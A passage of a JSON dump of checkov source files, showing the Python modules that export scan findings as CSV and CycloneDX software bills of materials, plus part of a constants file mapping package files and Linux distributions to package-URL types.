0:\n        return lines\n    return None\n\n\ndef get_package_name_with_lines(package_name: str, lines: list[int] | None) -> str:\n    if lines and validate_lines(lines):\n        return f\"{package_name} [{lines[0]}-{lines[1]}]\"\n    return package_name\n\n\ndef get_reachability_output_indication(cve_reachability_risk_factors: dict[str, bool]) -> str:\n    if cve_reachability_risk_factors.get(\"ReachableFunction\"):\n        return \"Reachable Function\"\n    if cve_reachability_risk_factors.get(\"IsUsed\"):\n        return \"Package Used\"\n    return \"\"\n"
  },
  {
    "path": "checkov/common/output/csv.py",
    "content": "from __future__ import annotations\n\nimport csv\nimport itertools\nimport logging\nimport os\nfrom datetime import datetime\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.common import format_string_to_licenses, is_raw_formatted, validate_lines\nfrom checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME\nfrom checkov.common.output.report import Report, CheckType\nfrom checkov.common.sca.commons import get_fix_version, UNFIXABLE_VERSION\n\nif TYPE_CHECKING:\n    from checkov.common.output.extra_resource import ExtraResource\n\ndate_now = f'{datetime.now().strftime(\"%Y%m%d-%H%M%S\")}'\nFILE_NAME_OSS_PACKAGES = f\"{date_now}_oss_packages.csv\"\nHEADER_OSS_PACKAGES = [\n    \"Package\",\n    \"Version\",\n    \"Path\",\n    \"Line(s)\",\n    \"Git Org\",\n    \"Git Repository\",\n    \"Vulnerability\",\n    \"Severity\",\n    \"Description\",\n    \"Licenses\",\n    \"Fix Version\",\n    \"Registry URL\",\n    \"Root Package\",\n    \"Root Version\"\n]\n\nHEADER_CONTAINER_IMAGE = HEADER_OSS_PACKAGES\nFILE_NAME_CONTAINER_IMAGES = f\"{date_now}_container_images.csv\"\n\nFILE_NAME_IAC = f\"{date_now}_iac.csv\"\nHEADER_IAC = [\"Resource\", \"Path\", \"Git Org\", \"Git Repository\", \"Misconfigurations\", \"Severity\", \"Policy title\", \"Guideline\"]\n\nCTA_NO_API_KEY = \"SCA, image and runtime findings are only available with a Prisma Cloud subscription.\"\n\n\nclass CSVSBOM:\n    def __init__(self) -> None:\n        self.iac_rows: list[dict[str, Any]] = []\n        self.container_rows: list[dict[str, Any]] = []\n        self.package_rows: list[dict[str, Any]] = []\n\n        self.iac_rows_have_details: bool = False\n\n        self.iac_resource_cache: set[str] = set()  # used to check, if a resource was already added\n\n    def add_report(self, report: Report, git_org: str, git_repository: str) -> None:\n        if report.check_type in (CheckType.SCA_PACKAGE, CheckType.SCA_IMAGE):\n            for record in itertools.chain(report.failed_checks, report.passed_checks, report.skipped_checks):\n                if record.check_name == SCA_PACKAGE_SCAN_CHECK_NAME:\n                    self.add_sca_package_resources(resource=record, git_org=git_org, git_repository=git_repository, check_type=report.check_type)\n            for resource in sorted(report.extra_resources):\n                self.add_sca_package_resources(resource=resource, git_org=git_org, git_repository=git_repository, check_type=report.check_type)\n        else:\n            for record in itertools.chain(report.failed_checks, report.passed_checks, report.skipped_checks):\n                self.add_iac_resources(resource=record, git_org=git_org, git_repository=git_repository)\n            for resource in sorted(report.extra_resources):\n                self.add_iac_resources(resource=resource, git_org=git_org, git_repository=git_repository)\n\n    def add_sca_package_resources(self, resource: Record | ExtraResource, git_org: str, git_repository: str, check_type: str) -> None:\n        if not resource.vulnerability_details:\n            # this shouldn't happen\n            logging.error(f\"Resource {resource.resource} doesn't have 'vulnerability_details' set\")\n            return\n\n        severity = None\n        if isinstance(resource, Record) and resource.severity is not None:\n            # ExtraResource don't have a CVE/Severity\n            severity = resource.severity.name\n        csv_table = {\n            CheckType.SCA_PACKAGE: self.package_rows,\n            CheckType.SCA_IMAGE: self.container_rows\n        }\n\n        lines = resource.file_line_range\n        lines = validate_lines(lines)\n        fix_version = self.get_fix_version_overview(resource.vulnerability_details)\n        csv_table[check_type].append(\n            {\n                \"Package\": resource.vulnerability_details[\"package_name\"],\n                \"Version\": resource.vulnerability_details[\"package_version\"],\n                \"Path\": resource.file_path,\n                \"Line(s)\": lines,\n                \"Git Org\": git_org,\n                \"Git Repository\": git_repository,\n                \"Vulnerability\": resource.vulnerability_details.get(\"id\"),\n                \"Severity\": severity,\n                \"Description\": resource.vulnerability_details.get(\"description\"),\n                \"Licenses\": resource.vulnerability_details.get(\"licenses\"),\n                \"Fix Version\": fix_version,\n                \"Registry URL\": resource.vulnerability_details.get(\"package_registry\"),\n                \"Root Package\": resource.vulnerability_details.get(\"root_package_name\"),\n                \"Root Version\": resource.vulnerability_details.get(\"root_package_version\")\n            }\n        )\n\n    def get_fix_version_overview(self, vulnerability_details: dict[str, Any]) -> str:\n        is_private_fix = vulnerability_details.get(\"is_private_fix\")\n        public_fix_version_suffix = \" (Public)\" if is_private_fix is False else \"\"\n        fix_version: str = get_fix_version(vulnerability_details)\n        return fix_version + public_fix_version_suffix if fix_version and fix_version != UNFIXABLE_VERSION else fix_version\n\n    def add_iac_resources(self, resource: Record | ExtraResource, git_org: str, git_repository: str) -> None:\n        resource_id = f\"{git_org}/{git_repository}/{resource.file_path}/{resource.resource}\"\n\n        misconfig = None\n        severity = None\n        check_name = None\n        guideline = None\n        if isinstance(resource, Record) and resource.check_result[\"result\"] == CheckResult.FAILED:\n            # only failed resources should be added with their misconfiguration\n            misconfig = resource.check_id\n            if resource.severity is not None:\n                severity = resource.severity.name\n            check_name = resource.check_name\n            guideline = resource.guideline\n        elif resource_id in self.iac_resource_cache:\n            # IaC resources shouldn't be added multiple times, if they don't have any misconfiguration\n            return\n\n        row = {\n            \"Resource\": resource.resource,\n            \"Path\": resource.file_path,\n            \"Git Org\": git_org,\n            \"Git Repository\": git_repository,\n            \"Misconfigurations\": misconfig,\n            \"Severity\": severity,\n            \"Policy title\": check_name,\n            \"Guideline\": guideline\n        }\n\n        if isinstance(resource, Record) and resource.details:\n            self.iac_rows_have_details = True\n            row[\"Details\"] = \"|\".join(resource.details)\n\n        self.iac_rows.append(row)\n        self.iac_resource_cache.add(resource_id)\n\n    def persist_report(self, is_api_key: bool, output_path: str = \"\") -> None:\n        output_path = output_path or \"\"\n\n        self.persist_report_iac(file_name=FILE_NAME_IAC, output_path=output_path)\n        self.persist_report_container_images(\n            file_name=FILE_NAME_CONTAINER_IMAGES,\n            is_api_key=is_api_key,\n            output_path=output_path,\n        )\n        self.persist_report_oss_packages(\n            file_name=FILE_NAME_OSS_PACKAGES,\n            is_api_key=is_api_key,\n            output_path=output_path,\n        )\n\n    def persist_report_iac(self, file_name: str, output_path: str = \"\") -> None:\n        CSVSBOM.write_section(\n            file=os.path.join(output_path, file_name),\n            header=[*HEADER_IAC, \"Details\"] if self.iac_rows_have_details else HEADER_IAC,\n            rows=self.iac_rows,\n            is_api_key=True,\n        )\n\n    def persist_report_container_images(self, file_name: str, is_api_key: bool, output_path: str = \"\") -> None:\n        CSVSBOM.write_section(\n            file=os.path.join(output_path, file_name),\n            header=HEADER_CONTAINER_IMAGE,\n            rows=self.container_rows,\n            is_api_key=is_api_key,\n        )\n\n    def persist_report_oss_packages(self, file_name: str, is_api_key: bool, output_path: str = \"\") -> None:\n        CSVSBOM.write_section(\n            file=os.path.join(output_path, file_name),\n            header=HEADER_OSS_PACKAGES,\n            rows=self.package_rows,\n            is_api_key=is_api_key,\n        )\n\n    @staticmethod\n    def arrange_rows(rows: list[dict[str, Any]]) -> None:\n        # we search for formatted rows and convert them back into csv formatted file.\n        for row in rows:\n            for key, value in row.items():\n                val = str(value)\n\n                if is_raw_formatted(val):\n                    val = ', '.join(format_string_to_licenses(val))\n                val = val[1:-1] if val.startswith('\"') and val.endswith('\"') else val\n                row[key] = '' if val == 'None' else val\n\n    @staticmethod\n    def write_section(file: str, header: list[str], rows: list[dict[str, Any]], is_api_key: bool) -> None:\n        CSVSBOM.arrange_rows(rows)\n\n        with open(file, \"w\", newline=\"\") as f:\n            logging.info(f\"Persisting SBOM to {os.path.abspath(file)}\")\n            if is_api_key:\n                dict_writer = csv.DictWriter(f, fieldnames=header)\n                dict_writer.writeheader()\n                dict_writer.writerows(rows)\n            else:\n                writer = csv.writer(f)\n                writer.writerow(header)\n                writer.writerow([CTA_NO_API_KEY])\n\n    def get_csv_output_packages(self, check_type: str) -> str:\n        # header\n        csv_output = ','.join(HEADER_OSS_PACKAGES) + '\\n'\n        csv_table = {\n            CheckType.SCA_PACKAGE: self.package_rows,\n            CheckType.SCA_IMAGE: self.container_rows\n        }\n\n        for row in csv_table[check_type]:\n            for header in HEADER_OSS_PACKAGES:\n                field = row[header] if row[header] else ''\n                if header == 'Package':\n                    csv_output += f'\\\"{field}\\\"'\n                elif header == 'Description':\n                    csv_output += f',\\\"{field}\\\"'\n                elif header == 'Licenses':\n                    field = str(field).replace('\",\"', \", \")\n                    field = field[1:-1] if field.startswith('\"') and field.endswith('\"') else field\n                    csv_output += f',\\\"{field}\\\"'\n                else:\n                    csv_output += f',{field}'\n            csv_output += '\\n'\n\n        return csv_output\n"
  },
  {
    "path": "checkov/common/output/cyclonedx.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nimport os\nfrom datetime import datetime\nfrom hashlib import sha1\nfrom importlib.metadata import version as meta_version\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, cast, Any\n\nfrom cyclonedx.model import (\n    XsUri,\n    ExternalReference,\n    ExternalReferenceType,\n    HashAlgorithm,\n    HashType,\n    Property,\n    Tool,\n)\nfrom cyclonedx.model.bom import Bom\nfrom cyclonedx.model.component import Component, ComponentType\nfrom cyclonedx.model.license import DisjunctiveLicense\nfrom cyclonedx.model.vulnerability import (\n    Vulnerability,\n    VulnerabilityAdvisory,\n    BomTarget,\n    VulnerabilitySource,\n    VulnerabilityRating,\n    VulnerabilityScoreSource,\n    VulnerabilitySeverity,\n)\nfrom cyclonedx.schema import OutputFormat\nfrom cyclonedx.output import make_outputter\nfrom packageurl import PackageURL\n\nfrom checkov.common.output.common import ImageDetails, format_string_to_licenses, validate_lines\nfrom checkov.common.output.report import CheckType\nfrom checkov.common.output.cyclonedx_consts import (\n    SCA_CHECKTYPES,\n    PURL_TYPE_MAVEN,\n    DEFAULT_CYCLONE_SCHEMA_VERSION,\n    CYCLONE_SCHEMA_VERSION,\n    FILE_NAME_TO_PURL_TYPE,\n    IMAGE_DISTRO_TO_PURL_TYPE,\n    TWISTCLI_PACKAGE_TYPE_TO_PURL_TYPE,\n    BC_SEVERITY_TO_CYCLONEDX_LEVEL,\n)\nfrom checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME\nfrom checkov.common.sca.commons import UNFIXABLE_VERSION, get_fix_version\n\nif TYPE_CHECKING:\n    from checkov.common.output.extra_resource import ExtraResource\n    from checkov.common.output.record import Record\n    from checkov.common.output.report import Report\n\n\nclass CycloneDX:\n    def __init__(self, reports: list[Report], repo_id: str | None, export_iac_only: bool = False) -> None:\n        self.repo_id = f\"{repo_id}/\" if repo_id is not None else \"\"\n        self.reports = reports\n        self.export_iac_only = export_iac_only\n\n        self.bom = self.create_bom()\n\n    def create_bom(self) -> Bom:\n        bom = Bom()\n\n        try:\n            version = meta_version(\"checkov\")\n        except Exception:\n            # Unable to determine current version of 'checkov'\n            version = \"UNKNOWN\"\n\n        this_tool = Tool(vendor=\"bridgecrew\", name=\"checkov\", version=version)\n        self.update_tool_external_references(this_tool)\n        bom.metadata.tools.add(this_tool)\n\n        for report in self.reports:\n            if report.check_type in SCA_CHECKTYPES and self.export_iac_only:\n                continue\n\n            # if the report is of SCA_IMAGE type, we should add to the report one image component per image\n            is_image_report = report.check_type == CheckType.SCA_IMAGE\n            image_resources_for_image_components = {}\n\n            for check in itertools.chain(report.passed_checks, report.skipped_checks):\n                if report.check_type in SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME:\n                    continue\n                component = self.create_component(check_type=report.check_type, resource=check)\n\n                if not bom.has_component(component=component):\n                    bom.components.add(component)\n\n                if is_image_report and check.file_path not in image_resources_for_image_components:\n                    image_resources_for_image_components[check.file_path] = check\n\n            for check in report.failed_checks:\n                if report.check_type in SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME:\n                    continue\n                component = self.create_component(check_type=report.check_type, resource=check)\n\n                if existing_component := bom.get_component_by_purl(purl=component.purl):\n                    component = existing_component\n                else:\n                    bom.components.add(component)\n\n                vulnerability = self.create_vulnerability(\n                    check_type=report.check_type, resource=check, component=component\n                )\n                bom.vulnerabilities.add(vulnerability)\n\n                if is_image_report:\n                    if check.file_path not in image_resources_for_image_components:\n                        image_resources_for_image_components[check.file_path] = check\n\n            for resource in sorted(report.extra_resources):\n                component = self.create_component(check_type=report.check_type, resource=resource)\n\n                if not bom.get_component_by_purl(purl=component.purl):\n                    bom.components.add(component)\n\n            if is_image_report:\n                for image_resource in image_resources_for_image_components:\n                    self.create_image_component(resource=image_resources_for_image_components[image_resource], bom=bom)\n\n        return bom\n\n    def create_component(self, check_type: str, resource: Record | ExtraResource) -> Component:\n        \"\"\"Creates a component\"\"\"\n        # purl structure conventions: https://github.com/package-url/purl-spec/blob/master/PURL-TYPES.rst\n\n        if check_type in SCA_CHECKTYPES:\n            component = self.create_library_component(check_type=check_type, resource=resource)\n        else:\n            component = self.create_application_component(check_type=check_type, resource=resource)\n\n        return component\n\n    def create_application_component(self, check_type: str, resource: Record | ExtraResource) -> Component:\n        \"\"\"Creates an application component\n        Ex.\n        <component bom-ref=\"pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85\" type=\"application\">\n          <name>aws_s3_bucket.example</name>\n          <version>sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</version>\n          <hashes>\n            <hash alg=\"SHA-1\">c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</hash>\n          </hashes>\n          <purl>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</purl>\n        </component>\n        \"\"\"\n\n        sha1_hash = file_sha1sum(filename=resource.file_abs_path)\n        purl = PackageURL(\n            type=check_type,\n            namespace=f\"{self.repo_id}/{resource.file_path}\",\n            name=resource.resource,\n            version=f\"sha1:{sha1_hash}\",\n        )\n        component = Component(\n            bom_ref=str(purl),\n            name=resource.resource,\n            version=f\"sha1:{sha1_hash}\",\n            hashes=[\n                HashType(\n                    alg=HashAlgorithm.SHA_1,\n                    content=sha1_hash,\n                )\n            ],\n            type=ComponentType.APPLICATION,\n            purl=purl,\n        )\n        return component\n\n    def create_library_component(self, resource: Record | ExtraResource, check_type: str) -> Component:\n        \"\"\"Creates a library component\n        Ex.\n        <component bom-ref=\"pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6\" type=\"library\">\n          <name>flask</name>\n          <version>0.6</version>\n          <purl>pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6</purl>\n          <properties>\n            <property name=\"startLine\">5</property>\n            <property name=\"endLine\">6</property>\n          </properties>\n        </component>\n        \"\"\"\n\n        if not resource.vulnerability_details:\n            # this shouldn't happen\n            logging.error(f\"Resource {resource.resource} doesn't have 'vulnerability_details' set\")\n            return Component(name=\"unknown\")\n        qualifiers = None\n        file_name = Path(resource.file_path).name\n        if check_type is CheckType.SCA_IMAGE:\n            package_type = resource.vulnerability_details['package_type']\n            image_distro_name = resource.vulnerability_details.get('image_details', ImageDetails()).distro.split(' ')[0]\n            file_path = resource.file_path.split(' ')[0]\n            if package_type == 'os':\n                purl_type = IMAGE_DISTRO_TO_PURL_TYPE.get(image_distro_name, 'generic')\n                namespace = f'{self.repo_id}/{file_path}/{image_distro_name.lower()}'\n                qualifiers = f'distro={resource.vulnerability_details.get(\"image_details\", ImageDetails()).distro_release}'\n            else:\n                purl_type = TWISTCLI_PACKAGE_TYPE_TO_PURL_TYPE.get(package_type, 'generic')\n                namespace = f\"{self.repo_id}/{file_path}\"\n        else:\n            purl_type = FILE_NAME_TO_PURL_TYPE.get(file_name, \"generic\")\n            namespace = f\"{self.repo_id}/{resource.file_path}\"\n            registry_url = resource.vulnerability_details.get(\"package_registry\")\n            is_private_registry = resource.vulnerability_details.get(\"is_private_registry\", False)\n            if registry_url and is_private_registry:\n                qualifiers = f'registry_url={registry_url}'\n        package_group = None\n        package_name = resource.vulnerability_details[\"package_name\"]\n        package_version = resource.vulnerability_details[\"package_version\"]\n\n        if purl_type == PURL_TYPE_MAVEN and \"_\" in package_name:\n            package_group, package_name = package_name.split(\"_\", maxsplit=1)\n            namespace += f\"/{package_group}\"\n\n            if not package_name:\n                logging.info('maven package name format not as expected')\n                package_name = resource.vulnerability_details[\"package_name\"]\n\n        # add licenses, if exists\n        disjunctive_licenses = None\n        licenses = resource.vulnerability_details.get(\"licenses\")\n\n        if licenses:\n            disjunctive_licenses = [\n                DisjunctiveLicense(name=license) for license in format_string_to_licenses(licenses)\n            ]\n\n        purl = PackageURL(\n            type=purl_type,\n            namespace=namespace,\n            name=package_name,\n            version=package_version,\n            qualifiers=qualifiers,\n        )\n\n        lines = resource.file_line_range\n        lines = validate_lines(lines)\n        properties = None\n        if lines:\n            properties = [Property(name=\"endLine\", value=str(lines[1])), Property(name=\"startLine\", value=str(lines[0]))]\n\n        component = Component(\n            bom_ref=str(purl),\n            group=package_group,\n            name=package_name,\n            version=package_version,\n            type=ComponentType.LIBRARY,\n            licenses=disjunctive_licenses,\n            purl=purl,\n            properties=properties\n        )\n        return component\n\n    def create_image_component(self, resource: Record, bom: Bom) -> None:\n        image_id = cast(\"dict[str, Any]\", resource.vulnerability_details).get('image_details', ImageDetails()).image_id\n        file_path = resource.file_path.split(' ')[0]\n        image_purl = PackageURL(\n            type='oci',\n            namespace=self.repo_id,\n            name=file_path,\n            version=image_id,\n        )\n        bom.components.add(\n            Component(\n                bom_ref=str(image_purl),\n                type=ComponentType.CONTAINER,\n                name=f\"{self.repo_id}/{image_id}\",\n                version=\"\",\n                purl=image_purl,\n            )\n        )\n\n    def create_vulnerability(self, check_type: str, resource: Record, component: Component) -> Vulnerability:\n        \"\"\"Creates a vulnerability\"\"\"\n\n        if check_type in SCA_CHECKTYPES:\n            vulnerability = self.create_cve_vulnerability(resource=resource, component=component)\n        else:\n            vulnerability = self.create_iac_vulnerability(resource=resource, component=component)\n\n        return vulnerability\n\n    def create_iac_vulnerability(self, resource: Record, component: Component) -> Vulnerability:\n        \"\"\"Creates a IaC based vulnerability\n        Ex.\n        <vulnerability bom-ref=\"41f657e7-a83b-4535-9b83-541211d02397\">\n          <id>CKV_AWS_21</id>\n          <source>\n            <name>checkov</name>\n          </source>\n          <ratings>\n            <rating>\n              <severity>medium</severity>\n            </rating>\n          </ratings>\n          <description>Resource: aws_s3_bucket.example. Ensure all data stored in the S3 bucket have versioning enabled</description>\n          <advisories>\n            <advisory>\n              <url>https://docs.bridgecrew.io/docs/s3_16-enable-versioning</url>\n            </advisory>\n          </advisories>\n          <affects>\n            <target>\n              <ref>pkg:terraform/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</ref>\n            </target>\n          </affects>\n        </vulnerability>\n        \"\"\"\n\n        advisories = None\n        if resource.guideline:\n            advisories = [VulnerabilityAdvisory(url=XsUri(resource.guideline))]\n\n        severity = VulnerabilitySeverity.UNKNOWN\n        if resource.severity:\n            severity = BC_SEVERITY_TO_CYCLONEDX_LEVEL.get(resource.severity.name, VulnerabilitySeverity.UNKNOWN)\n\n        vulnerability = Vulnerability(\n            id=resource.check_id,\n            source=VulnerabilitySource(name=\"checkov\"),\n            ratings=[\n                VulnerabilityRating(\n                    severity=severity,\n                )\n            ],\n            description=f\"Resource: {resource.resource}. {resource.check_name}\",\n            advisories=advisories,\n        )\n        if component.bom_ref.value:\n            vulnerability.affects = [BomTarget(ref=component.bom_ref.value)]\n\n        return vulnerability\n\n    def create_cve_vulnerability(self, resource: Record, component: Component) -> Vulnerability:\n        \"\"\"Creates a CVE based vulnerability\n        Ex.\n        <vulnerability bom-ref=\"f18f3674-092f-4e9a-8452-641fd11fc70f\">\n          <id>CVE-2019-1010083</id>\n          <source>\n            <url>https://nvd.nist.gov/vuln/detail/CVE-2019-1010083</url>\n          </source>\n          <ratings>\n            <rating>\n              <source>\n                <url>https://nvd.nist.gov/vuln/detail/CVE-2019-1010083</url>\n              </source>\n              <score>7.5</score>\n              <severity>unknown</severity>\n              <method>CVSSv3</method>\n              <vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n            </rating>\n          </ratings>\n          <description>The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. ...</description>\n          <recommendation>fixed in 1.0</recommendation>\n          <published>2019-07-17T14:15:00</published>\n          <affects>\n            <target>\n              <ref>pkg:pypi/flask@0.6</ref>\n            </target>\n          </affects>\n        </vulnerability>\n        \"\"\"\n\n        if not resource.vulnerability_details:\n            # this shouldn't happen\n            logging.error(f\"Resource {resource.resource} doesn't have 'vulnerability_details' set\")\n            return Vulnerability()\n\n        severity = VulnerabilitySeverity.UNKNOWN\n        if resource.severity:\n            severity = BC_SEVERITY_TO_CYCLONEDX_LEVEL.get(resource.severity.name, VulnerabilitySeverity.UNKNOWN)\n\n        source = None\n        source_url = resource.vulnerability_details.get(\"link\")\n        if source_url:\n            source = VulnerabilitySource(url=XsUri(source_url))\n        method = None\n        vector = resource.vulnerability_details[\"vector\"]\n\n        if vector:\n            method = VulnerabilityScoreSource.get_from_vector(vector)\n            vector = method.get_localised_vector(vector)\n\n        fix_version = self.get_fix_version_overview(resource.vulnerability_details)\n        vulnerability = Vulnerability(\n            id=resource.vulnerability_details[\"id\"],\n            source=source,\n            ratings=[\n                VulnerabilityRating(\n                    source=source,\n                    score=resource.vulnerability_details.get(\"cvss\"),\n                    severity=severity,\n                    method=method,\n                    vector=vector,\n                )\n            ],\n            description=resource.vulnerability_details.get(\"description\"),\n            recommendation=fix_version,\n            published=datetime.fromisoformat(resource.vulnerability_details[\"published_date\"].replace(\"Z\", \"\")),\n        )\n        if component.bom_ref.value:\n            vulnerability.affects = [BomTarget(ref=component.bom_ref.value)]\n\n        return vulnerability\n\n    def get_fix_version_overview(self, vulnerability_details: dict[str, Any]) -> str | None:\n        is_private_fix = vulnerability_details.get(\"is_private_fix\")\n        public_fix_version_prefix = \"No private fix available. \" if is_private_fix is False else \"\"\n        fix_version: str = get_fix_version(vulnerability_details)\n        return f'{public_fix_version_prefix}Fixed in {fix_version}' if fix_version and fix_version != UNFIXABLE_VERSION else fix_version\n\n    def get_output(self, output_format: OutputFormat) -> str:\n        \"\"\"Returns the SBOM as a formatted string\"\"\"\n\n        schema_version = CYCLONE_SCHEMA_VERSION.get(\n            os.getenv(\"CHECKOV_CYCLONEDX_SCHEMA_VERSION\", \"\"), DEFAULT_CYCLONE_SCHEMA_VERSION\n        )\n        output = make_outputter(\n            bom=self.bom,\n            output_format=output_format,\n            schema_version=schema_version,\n        ).output_as_string()\n\n        return output\n\n    def get_xml_output(self) -> str:\n        \"\"\"Returns the SBOM as a XML formatted string\"\"\"\n\n        return self.get_output(output_format=OutputFormat.XML)\n\n    def get_json_output(self) -> str:\n        \"\"\"Returns the SBOM as a JSON formatted string\"\"\"\n\n        return self.get_output(output_format=OutputFormat.JSON)\n\n    def update_tool_external_references(self, tool: Tool) -> None:\n        tool.external_references.update(\n            [\n                ExternalReference(\n                    type=ExternalReferenceType.BUILD_SYSTEM,\n                    url=XsUri(\"https://github.com/bridgecrewio/checkov/actions\"),\n                ),\n                ExternalReference(\n                    type=ExternalReferenceType.DISTRIBUTION,\n                    url=XsUri(\"https://pypi.org/project/checkov/\"),\n                ),\n                ExternalReference(\n                    type=ExternalReferenceType.DOCUMENTATION,\n                    url=XsUri(\"https://www.checkov.io/1.Welcome/What%20is%20Checkov.html\"),\n                ),\n                ExternalReference(\n                    type=ExternalReferenceType.ISSUE_TRACKER,\n                    url=XsUri(\"https://github.com/bridgecrewio/checkov/issues\"),\n                ),\n                ExternalReference(\n                    type=ExternalReferenceType.LICENSE,\n                    url=XsUri(\"https://github.com/bridgecrewio/checkov/blob/master/LICENSE\"),\n                ),\n                ExternalReference(\n                    type=ExternalReferenceType.SOCIAL,\n                    url=XsUri(\"https://twitter.com/bridgecrewio\"),\n                ),\n                ExternalReference(\n                    type=ExternalReferenceType.VCS,\n                    url=XsUri(\"https://github.com/bridgecrewio/checkov\"),\n                ),\n                ExternalReference(\n                    type=ExternalReferenceType.WEBSITE,\n                    url=XsUri(\"https://www.checkov.io/\"),\n                ),\n            ]\n        )\n\n\n# Copy of https://github.com/CycloneDX/cyclonedx-python-lib/blob/74865f8e498c9723c2ce3556ceecb6a3cfc4c490/cyclonedx/_internal/hash.py\n# because it looks like it meant to be something not exposed for external usage\ndef file_sha1sum(filename: str) -> str:\n    \"\"\"\n    Generate a SHA1 hash of the provided file.\n\n    Args:\n        filename:\n            Absolute path to file to hash as `str`\n\n    Returns:\n        SHA-1 hash\n    \"\"\"\n    h = sha1()  # nosec B303, B324\n    with open(filename, 'rb') as f:\n        for byte_block in iter(lambda: f.read(4096), b''):\n            h.update(byte_block)\n    return h.hexdigest()\n"
  },
  {
    "path": "checkov/common/output/cyclonedx_consts.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.bridgecrew.severities import BcSeverities\nfrom cyclonedx.model.vulnerability import VulnerabilitySeverity\nfrom checkov.common.output.report import CheckType\nfrom cyclonedx.schema import SchemaVersion\n\nSCA_CHECKTYPES = (CheckType.SCA_PACKAGE, CheckType.SCA_IMAGE)\n\nPURL_TYPE_MAVEN = \"maven\"\n\nDEFAULT_CYCLONE_SCHEMA_VERSION = SchemaVersion.V1_4\n\nCYCLONE_SCHEMA_VERSION: \"dict[str, SchemaVersion]\" = {\n    \"1.4\": DEFAULT_CYCLONE_SCHEMA_VERSION,\n    \"1.3\": SchemaVersion.V1_3,\n    \"1.2\": SchemaVersion.V1_2,\n    \"1.1\": SchemaVersion.V1_1,\n    \"1.0\": SchemaVersion.V1_0\n}\n\nFILE_NAME_TO_PURL_TYPE = {\n    \"build.gradle\": \"maven\",\n    \"build.gradle.kts\": PURL_TYPE_MAVEN,\n    \"composer.json\": \"composer\",\n    \"Gemfile\": \"gem\",\n    \"go.mod\": \"golang\",\n    \"go.sum\": \"golang\",\n    \"package.json\": \"npm\",\n    \"package-lock.json\": \"npm\",\n    \"Pipfile\": \"pypi\",\n    \"Pipfile.lock\": \"pypi\",\n    \"pom.xml\": \"maven\",\n    \"requirements.txt\": \"pypi\",\n    \"yarn.lock\": \"npm\"\n}\n\nIMAGE_DISTRO_TO_PURL_TYPE = {\n    'Debian': 'deb',\n    'Red': 'rpm',\n    'CentOS': 'rpm',\n    'Fedora': 'rpm',\n    'openSUSE': 'rpm',\n    'AlmaLinux': 'rpm',\n    'Asianux': 'rpm',\n    'ClearOS': 'rpm',\n    'Fermi': 'rpm',\n    'Miracle': 'rpm',\n    'Oracle': 'rpm',\n    'Rocky': 'rpm',\n    'Scientific': 'rpm',\n    'Amazon': 'rpm',\n    'SUSE': 'rpm',\n    'GeckoLinux': 'rpm',\n    'Mandriva': 'rpm',\n    'Mageia': 'rpm',\n    'ROSA': 'rpm',\n    'OpenMandriva': 'rpm',\n    'Unity': 'rpm',\n    'PCLinuxOS': 'rpm',\n    'Vine': 'rpm',\n    'ALT': 'rpm',\n    'Caldera': 'rpm',\n    'cAos': 'rpm',\n    'Turbolinux': 'rpm',\n    'Astra': 'deb',\n    'Bharat': 'deb',\n    'Canaima': 'deb',\n    'Corel': 'deb',\n    'CrunchBang': 'deb',\n    'Deepin': 'deb',\n    'Devuan': 'deb',\n    'Dreamlinux': 'deb',\n    'Emdebian': 'deb',\n    'Finnix': 'deb',\n    'gNewSense': 'deb',\n    'Gnoppix': 'deb',\n    'grml': 'deb',\n    'HandyLinux': 'deb',\n    'Kanotix': 'deb',\n    'Knoppix': 'deb',\n    'Kurumin': 'deb',\n    'LEAF': 'deb',\n    'LiMux': 'deb',\n    'LMDE': 'deb',\n    'Maemo': 'deb',\n    'MEPIS': 'deb',\n    'MintPPC': 'deb',\n    'Musix': 'deb',\n    'NepaLinux': 'deb',\n    'OpenZaurus': 'deb',\n    'Pardus': 'deb',\n    'PelicanHPC': 'deb',\n    'Q4OS': 'deb',\n    'Raspberry': 'deb',\n    'Sacix': 'deb',\n    'Skolelinux': 'deb',\n    'Slax (since': 'deb',\n    'SolydXK': 'deb',\n    'SparkyLinux': 'deb',\n    'Sunwah': 'deb',\n    'The': 'deb',\n    'TurnKey': 'deb',\n    'Twister': 'deb',\n    'Ubuntu': 'deb',\n    'Univention': 'deb',\n    'Webconverger': 'deb',\n    'Vyatta': 'deb',\n    'VyOS': 'deb',\n    'BackTrack': 'deb',\n    'gLinux': 'deb',\n    'Kali': 'deb',\n    'Parsix': 'deb',\n    'EOL[44]': 'deb',\n    'PureOS': 'deb',\n    'Parrot': 'deb',\n    'antiX': 'deb',\n    'MX': 'deb',\n    'Damn': 'deb',\n    'Feather': 'deb',\n    'Hikarunix': 'deb',\n    'Kubuntu': 'deb',\n    'Lubuntu': 'deb',\n    'Xubuntu': 'deb',\n    'Edubuntu': 'deb',\n    'Gobuntu': 'deb',\n    'Mythbuntu': 'deb',\n    'BackBox': 'deb',\n    'BackSlash': 'deb',\n    'Bodhi': 'deb',\n    'Cub': 'deb',\n    'DNALinux (based': 'deb',\n    'dyne:bolic': 'deb',\n    'EasyPeasy': 'deb',\n    'Eeebuntu': 'deb',\n    'Element': 'deb',\n    'elementary': 'deb',\n    'Emmabuntüs': 'deb',\n    'GalliumOS': 'deb',\n    'GendBuntu': 'deb',\n    'Goobuntu': 'deb',\n    'gOS': 'deb',\n    